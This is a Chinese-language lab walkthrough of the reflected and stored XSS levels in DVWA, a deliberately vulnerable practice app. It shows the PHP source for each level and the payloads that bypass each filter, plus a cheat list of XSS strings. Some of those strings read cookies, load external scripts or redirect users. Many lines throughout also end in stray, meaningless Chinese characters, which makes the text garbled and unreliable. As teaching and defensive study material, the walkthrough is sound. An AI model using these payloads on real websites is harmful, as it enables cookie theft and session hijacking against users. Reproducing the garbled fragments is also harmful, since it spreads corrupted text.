前期準(zhǔn)備:linux下搭建dvwa需要lamp環(huán)境,其php版本不能太高嚎莉,php7.0無法使用跌榔,php5.6可以;
XSS定義
CSS(Cross Site Script)又叫XSS,中文意思:跨站腳本攻擊折剃。它指的是惡意攻擊者往Web頁面里插入惡意html代碼镶奉,當(dāng)用戶瀏覽該頁之時测蹲,嵌入其中Web里面的html代碼會被執(zhí)行莹捡。XSS的攻擊目標(biāo)是為了盜取客戶端的cookie或者其他網(wǎng)站用于識別客戶端身份的敏感信息道盏。獲取到合法用戶的信息后粹排,攻擊者甚至可以假冒最終用戶與網(wǎng)站進(jìn)行交互射富。
XSS的原理
也就是往HTML中注入腳本芒涡,HTML指定了腳本標(biāo)記<script></script>.在沒有過濾字符的情況下,只需要保持完整無錯的腳本標(biāo)記即可觸發(fā)XSS,假如我們在某個資料表單提交內(nèi)容,表單提交內(nèi)容就是某個標(biāo)記屬性所賦的值,我們可以構(gòu)造如下值來閉和標(biāo)記來構(gòu)造完整無錯的腳本標(biāo)記,"><script>alert('Xss');</script><"
反射型XSS
等級Low
源代碼
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
這里隨便輸入Word試一下:
word<script>alert('Xss');</script> ;
觀察到調(diào)用函數(shù)輸出了Xss彈窗,后面為Word,其實(shí)<script>”注入語句“</script>可以完成許多功能帅韧。
等級Medium
源代碼:
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
觀察發(fā)現(xiàn)使用str_replace
進(jìn)行了黑名單過濾淮阐,繞過這個不成問題勒叠,使用
雙寫繞過
<scri<script>pt>alert(/test/);</script>
大小寫混寫繞過
<sCripT>alert(/test/);</script>
等級High
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
使用正則進(jìn)行匹配,過濾了大小寫混合寫入已經(jīng)雙寫柒桑,但是可以使用img弊决、body等標(biāo)簽的事件以及iframe標(biāo)簽的src注入惡意的js代碼進(jìn)行漏洞利用
<img src=1 onerror=alert('test')>
等級Impossible
源代碼:
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
htmlspecialchars() 函數(shù)把一些預(yù)定義的字符轉(zhuǎn)換為 HTML 實(shí)體。以防止瀏覽器將其作為HTML元素幕垦。這樣會將用戶輸入的內(nèi)容都不作為標(biāo)簽以提高安全性丢氢。
預(yù)定義的字符是:
& (和號)成為 &
" (雙引號)成為 "
' (單引號)成為 '
< (小于)成為 <
> (大于)成為 >
一些常用的xss語句
<script>alert(/test/)</script> 最普通的xss代碼
<script>alert(document.cookie);</script> 獲取cookie
<img src="javascript:alert(/test/)"> img鏈接地址xss
<script src="test.js"> <script> 外部調(diào)用攻擊代碼ls.js
<script alert('test)</SCRIPT> 注釋方法防止過濾
<img src="" onerror=alert("xss")> 加載圖像失敗執(zhí)行
<iframe onload=alert('test')> 框架
<script>location='test.com';</script> 跳轉(zhuǎn)某頁面
存儲型XSS
等級Low
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
部分函數(shù)講解
trim() 函數(shù)移除字符串兩側(cè)的空白字符或其他預(yù)定義字符。
相關(guān)函數(shù):
ltrim() - 移除字符串左側(cè)的空白字符或其他預(yù)定義字符
rtrim() - 移除字符串右側(cè)的空白字符或其他預(yù)定義字符
stripslashes():刪除由 addslashes() 函數(shù)添加的反斜杠先改。該函數(shù)用于清理從數(shù)據(jù)庫或 HTML 表單中取回的數(shù)據(jù)疚察。(若是連續(xù)二個反斜杠,則去掉一個仇奶,保留一個貌嫡;若只有一個反斜杠,就直接去掉该溯。)岛抄;
mysqli_real_escape_string:轉(zhuǎn)義字符串中的特殊字符;
name欄輸入發(fā)現(xiàn)有字?jǐn)?shù)限制狈茉,那就抓包改數(shù)據(jù)夫椭;
message欄正常輸入即可,
<script>alert('test');</script>
等級Medium
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
部分函數(shù)講解
strip_tags()
函數(shù)剝?nèi)プ址械?HTML氯庆、XML 以及 PHP 的標(biāo)簽蹭秋,但允許使用<b>
標(biāo)簽扰付。
addslashes()
函數(shù)返回在預(yù)定義字符(單引號、雙引號仁讨、反斜杠羽莺、NULL)之前添加反斜杠的字符串。
其對message參數(shù)使用了htmlspecialchars
函數(shù)進(jìn)行編碼洞豁,因此無法對message參數(shù)注入XSS代碼盐固,但是對于name參數(shù),簡單過濾了<script>
字符串丈挟,仍然存在存儲型的XSS刁卜。
使用雙寫<scri<script>pt>alert('test')
成功彈框
大小寫混合繞過
<sCrIpt>alert('test')
等級High
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
這里使用正則表達(dá)式過濾了<script>
標(biāo)簽,但是依然存在img礁哄、iframe
等其它危險的標(biāo)簽长酗,因此name參數(shù)仍然有存儲型XSS
抓包改name數(shù)據(jù)=<img src=1 onerror=alert('test')>
成功彈框
等級Impossible
源代碼:
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
這個就比較高級了溪北,對name和message均進(jìn)行了htmlspecialchars
過濾
存儲型和反射型的區(qū)別
- 存儲型
存儲型XSS桐绒,持久型,代碼是存儲在服務(wù)器中的之拨,如果沒有過濾或過濾不嚴(yán)茉继,那么這些代碼將儲存到服務(wù)器中,用戶訪問該頁面的時候觸發(fā)代碼執(zhí)行蚀乔。這種XSS比較危險烁竭,容易造成蠕蟲,盜竊cookie等吉挣。 - 反射型
反射型XSS派撕,非持久化,需要欺騙用戶手動去點(diǎn)擊鏈接才能觸發(fā)XSS代碼睬魂,一般容易出現(xiàn)在搜索頁面终吼。